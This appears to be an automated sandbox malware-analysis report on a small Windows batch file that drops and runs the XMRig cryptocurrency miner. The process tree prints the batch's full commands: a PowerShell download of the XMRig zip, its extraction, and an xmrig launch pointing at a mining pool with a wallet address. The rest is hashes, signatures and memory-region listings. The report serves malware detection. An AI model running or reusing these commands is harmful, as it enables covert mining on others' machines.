Resubmissions

Analysis

  • max time kernel
    1797s
  • max time network
    1803s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 08:13

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1876
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1308
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:1804
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3244

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      2f57fde6b33e89a63cf0dfdd6e60a351

      SHA1

      445bf1b07223a04f8a159581a3d37d630273010f

      SHA256

      3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

      SHA512

      42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      08f9f3eb63ff567d1ee2a25e9bbf18f0

      SHA1

      6bf06056d1bb14c183490caf950e29ac9d73643a

      SHA256

      82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

      SHA512

      425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tgyrxfyu.qxd.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

      Filesize

      894KB

      MD5

      61b96a700a418b98f3c0c5ad8006f4d7

      SHA1

      422670eb48d5394d1de6d0cefd5acaceda7494e8

      SHA256

      b752251aa062c09b4ba348ad346b4b90ccbbf56f99004f7c96e018b435628ba6

      SHA512

      82f5a56486dc4cca3b60ee079af47662e21265a38cac0166f13482ec840fd31f05b4c83d19aca7140f6ef6b3a805a98ac6f64d2d6123f866a18045a03e480803

    • memory/860-0-0x000001C0A56F0000-0x000001C0A5712000-memory.dmp

      Filesize

      136KB

    • memory/860-10-0x00007FFE59890000-0x00007FFE5A351000-memory.dmp

      Filesize

      10.8MB

    • memory/860-11-0x000001C0A57B0000-0x000001C0A57C0000-memory.dmp

      Filesize

      64KB

    • memory/860-12-0x00007FFE59890000-0x00007FFE5A351000-memory.dmp

      Filesize

      10.8MB

    • memory/860-13-0x000001C0A57B0000-0x000001C0A57C0000-memory.dmp

      Filesize

      64KB

    • memory/860-17-0x00007FFE59890000-0x00007FFE5A351000-memory.dmp

      Filesize

      10.8MB

    • memory/1308-86-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-92-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-128-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-127-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-126-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-125-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-61-0x000002084E440000-0x000002084E460000-memory.dmp

      Filesize

      128KB

    • memory/1308-62-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-63-0x000002084FB90000-0x000002084FBB0000-memory.dmp

      Filesize

      128KB

    • memory/1308-64-0x000002084FBB0000-0x000002084FBD0000-memory.dmp

      Filesize

      128KB

    • memory/1308-65-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-66-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-67-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-68-0x000002084FB90000-0x000002084FBB0000-memory.dmp

      Filesize

      128KB

    • memory/1308-69-0x000002084FBB0000-0x000002084FBD0000-memory.dmp

      Filesize

      128KB

    • memory/1308-70-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-71-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-72-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-73-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-74-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-75-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-76-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-77-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-78-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-79-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-80-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-81-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-82-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-83-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-84-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-85-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-60-0x000002084E160000-0x000002084E180000-memory.dmp

      Filesize

      128KB

    • memory/1308-87-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-88-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-89-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-90-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-91-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-124-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-93-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-94-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-95-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-96-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-97-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-98-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-99-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-100-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-101-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-102-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-103-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-104-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-105-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-106-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-107-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-108-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-109-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-110-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-111-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-112-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-113-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-114-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-115-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-116-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-117-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-118-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-119-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-120-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-121-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-122-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1308-123-0x00007FF7A70F0000-0x00007FF7A7BF3000-memory.dmp

      Filesize

      11.0MB

    • memory/1876-28-0x00007FFE59890000-0x00007FFE5A351000-memory.dmp

      Filesize

      10.8MB

    • memory/1876-34-0x000001C8B63E0000-0x000001C8B63EA000-memory.dmp

      Filesize

      40KB

    • memory/1876-32-0x000001C8CE5F0000-0x000001C8CE600000-memory.dmp

      Filesize

      64KB

    • memory/1876-30-0x000001C8CE5F0000-0x000001C8CE600000-memory.dmp

      Filesize

      64KB

    • memory/1876-29-0x000001C8CE5F0000-0x000001C8CE600000-memory.dmp

      Filesize

      64KB

    • memory/1876-33-0x000001C8B63F0000-0x000001C8B6402000-memory.dmp

      Filesize

      72KB

    • memory/1876-57-0x00007FFE59890000-0x00007FFE5A351000-memory.dmp

      Filesize

      10.8MB